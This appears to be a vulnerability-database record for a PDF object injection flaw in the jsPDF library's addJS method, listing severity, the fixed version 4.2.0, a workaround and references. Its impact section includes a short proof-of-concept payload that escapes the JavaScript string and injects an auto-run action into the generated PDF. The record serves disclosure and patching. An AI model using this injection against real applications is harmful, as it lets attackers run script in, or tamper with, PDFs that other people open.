{"id":"CVE-2026-25755","aliases":["GHSA-9vjf-qc39-jprp"],"url":"https://o3.security/vulnerability/CVE-2026-25755","summary":"jsPDF has PDF Object Injection via Unsanitized Input in addJS Method","details":"### Impact\n\nUser control of the argument of the `addJS` method allows an attacker to inject arbitrary PDF objects into the generated document. By crafting a payload that escapes the JavaScript string delimiter, an attacker can execute malicious actions or alter the document structure, impacting any user who opens the generated PDF.\n\n```js\nimport { jsPDF } from \"jspdf\";\nconst doc = new jsPDF();\n// Payload:\n// 1. ) closes the JS string.\n// 2. > closes the current dictionary.\n// 3. /AA ... injects an \"Additional Action\" that executes on focus/open.\nconst maliciousPayload = \"console.log('test');) >> /AA << /O << /S /JavaScript /JS (app.alert('Hacked!')) >> >>\";\n\ndoc.addJS(maliciousPayload);\ndoc.save(\"vulnerable.pdf\");\n```\n\n### Patches\nThe vulnerability has been fixed in jspdf@4.2.0.\n\n### Workarounds\nEscape parentheses in user-provided JavaScript code before passing them to the `addJS` method.\n### References\nhttps://github.com/ZeroXJacks/CVEs/blob/main/2026/CVE-2026-25755.md","published":"2026-02-19T14:41:46.941Z","modified":"2026-09-08T03:46:17.860506144Z","cvss":{"score":8.1,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"jspdf","fixedVersion":"4.2.0"}],"fix":{"url":"https://github.com/parallax/jsPDF/commit/56b46d45b052346f5995b005a34af5dcdddd5437","label":"parallax/jsPDF@56b46d4"},"references":[{"type":"WEB","url":"https://github.com/ZeroXJacks/CVEs/blob/main/2026/CVE-2026-25755.md"},{"type":"WEB","url":"https://github.com/parallax/jsPDF/releases/tag/v4.2.0"},{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-25755.json"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:7110"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:7128"},{"type":"ADVISORY","url":"https://access.redhat.com/security/cve/CVE-2026-25755"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/25xxx/CVE-2026-25755.json"},{"type":"ADVISORY","url":"https://github.com/parallax/jsPDF/security/advisories/GHSA-9vjf-qc39-jprp"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25755"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2440993"},{"type":"FIX","url":"https://github.com/parallax/jsPDF/commit/56b46d45b052346f5995b005a34af5dcdddd5437"},{"type":"PACKAGE","url":"https://github.com/parallax/jsPDF"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-09-08T03:46:17.860506144Z"}}